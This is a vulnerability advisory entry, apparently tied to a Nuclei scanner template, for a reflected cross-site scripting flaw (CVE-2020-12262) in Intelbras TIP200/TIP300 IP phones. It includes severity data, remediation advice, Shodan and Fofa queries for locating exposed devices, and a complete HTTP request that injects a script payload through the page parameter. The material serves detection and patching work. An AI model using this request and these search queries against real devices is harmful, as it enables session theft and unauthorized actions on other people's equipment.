| Title | Intelbras TIP200/TIP200LITE/TIP300 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Authenticated attackers can inject malicious JavaScript through the page parameter, potentially stealing session cookies or performing unauthorized actions on behalf of authenticated users. |
| Remediation | Update the device firmware to the latest version provided by Intelbras. |
| CVSS Score | 5.4 |
| EPSS Score | 0.01038 |
| CVE ID | CVE-2020-12262 |
| CWE ID | CWE-79 |
| Shodan Query | title:"Intelbras" |
| Fofa Query | title="Intelbras" |
| Tags | cve cve2020 intelbras tip200 tip200lite tip300 xss authenticated vuln |
Intelbras TIP200 60.61.75.15, TIP200LITE 60.61.75.15, and TIP300 65.61.75.15 are vulnerable to reflected cross-site scripting (XSS) via the page parameter in /cgi-bin/cgiServer.exx, allowing attackers to execute arbitrary JavaScript in the context of the user.
GET /cgi-bin/cgiServer.exx?page=<script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Authorization: Basic T1hjTHl4OjRRQ01qNnBF
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-12262.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-12262.pcap
N/AN/A